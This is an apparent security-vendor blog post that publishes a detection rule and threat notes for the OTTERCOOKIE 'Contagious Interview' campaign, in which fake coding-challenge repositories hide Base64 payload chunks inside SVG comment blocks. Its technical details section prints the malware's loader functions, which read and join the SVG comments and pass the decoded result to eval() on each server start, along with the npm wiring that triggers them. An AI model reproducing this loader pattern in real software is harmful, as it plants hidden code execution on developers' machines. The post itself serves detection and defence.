Skip to main content
Blog

BETA DETECTION: OTTERCOOKIE SVG Steganography Payload Reassembly and Eval Execution

  • July 21, 2026
  • 0 replies
  • 6 views
Aaron Beardslee
Forum|alt.badge.img
name: OTTERCOOKIE SVG Steganography Payload Reassembly and Eval Execution Analytic
signatureid: EDR-NIX26-RUN
category: 'Execution'
threatname: 'Command and Scripting Interpreter: JavaScript'
functionality: 'Endpoint Management Systems'

description: |
Detects the SVG steganography reassembly and dynamic execution stage of the REF9403
Contagious Interview / OTTERCOOKIE campaign. DPRK-aligned actors distribute trojanized
e-commerce "coding challenge" repositories (e.g. next-ecommerce-private-main, shopping-platform,
gocart-based Next.js templates) in which the malware payload is split into Base64 fragments
embedded inside HTML comment blocks (<!-- ... -->) across every country-flag SVG in an assets
directory (AE.svg, AF.svg, etc.). A helper file (serverValidation.js) reads every .svg in the
flags directory in alphabetical order, concatenates the comment-block chunks, decodes them with a
custom Base64 function named Check(), and passes the result straight to eval() via
runServerValidation(). eval() is deliberately used with a custom decoder to avoid Buffer.from /
atob detections. server/index.js invokes runServerValidation() on every server start, and
package.json wires both "npm run dev" and "npm start" to node server/index.js, so the payload
executes on each boot. This rule anchors on a node/npm process whose command line references the
reassembly helper or the flags-directory read-and-eval pattern.
Sysmon For Linux EVID 1 is the best way to detect this attack vector on Linux servers.
reference:
- https://www.elastic.co/security-labs/contagious-interview-malware-svg-steganography
- https://jp.security.ntt/insights_resources/tech_blog/en-contagious-interview-ottercookie
- https://research.jfrog.com/post/rollup-polyfill-masquerading/
- https://attack.mitre.org/techniques/T1001/002/
labels:
- attack.execution
- attack.t1059.007
- attack.defense_evasion
- attack.t1001.002
- attack.t1027
- attack.initial_access
- attack.t1195.002
- OTTERCOOKIE
- Contagious_Interview
- REF9403
- SVG_Steganography
- DPRK
- APT
logsource:
category: process_creation
product: linux
detection:
selection_runtime:
Image|endswith:
- '/node'
- '/npm'
- '/npx'
selection_reassembly_helper:
ChildProcessCommandLine|contains:
- 'serverValidation'
- 'runServerValidation'
selection_flag_read_pattern:
ChildProcessCommandLine|contains|all:
- 'flags'
- '.svg'
ChildProcessCommandLine|contains:
- 'readdirSync'
- 'readFileSync'
- 'localeCompare'
selection_eval_decoder:
ChildProcessCommandLine|contains|all:
- 'eval('
- 'Check('
condition: selection_runtime and (selection_reassembly_helper or selection_flag_read_pattern or selection_eval_decoder)
criticality: High
saveasthreat: false

violation_summary:
grouping_attribute: 'accountname'
level2_attribute: 'devicehostname'
level2_metadata_attributes:

TECHNICAL DETAILS


    Reassembly logic observed in serverValidation.js:

      function validation() {
        const dir = path.join(process.cwd(), "assets", "flags");
        const files = fs.readdirSync(dir)
          .filter(f => f.endsWith(".svg"))
          .sort((a, b) => a.localeCompare(b, "en"));
        const parts = [];
        for (const f of files) {
          const raw = fs.readFileSync(path.join(dir, f), "utf8");
          const m = raw.match(/<!--\s*([\s\S]*?)\s*-->/);
          parts.push(m ? m[1].trim() : "");
        }
        return parts.join("");
      }

      function runServerValidation() {
        try { eval(Check(validation())); } catch (err) {}
      }

    Execution wiring:
      - server/index.js calls runServerValidation() after middleware setup
      - package.json: "dev:server" and "start" both run "node server/index.js"
      - Payload therefore runs on every `npm run dev` and `npm start`

    Detection notes:
      - Base64 payload chunks live inside <!-- --> comment blocks of each flag SVG
        (AE.svg, AF.svg ... alphabetical). File-integrity/YARA hunt for HTML comment
        blocks containing long Base64 runs inside *.svg under an assets/flags path is a
        strong complementary control.
      - Custom Check() decoder + eval() is chosen specifically to evade Buffer.from / atob
        string detections. If ScriptBlock/command-line telemetry is unavailable, pivot to
        network detections on the same host.

    False Positives:
      - Legitimate build tooling that inlines SVG assets does not read a flags directory
        and pass concatenated comment contents to eval(). Very low expected FP.


Policy building walkthrough can be found in this previous post:

 

https://connect.securonix.com/threat%2Dresearch%2Dintelligence%2D62/beta%2Ddetection%2Dtelnyx%2Dteampcp%2Dcredential%2Dexfiltration%2D241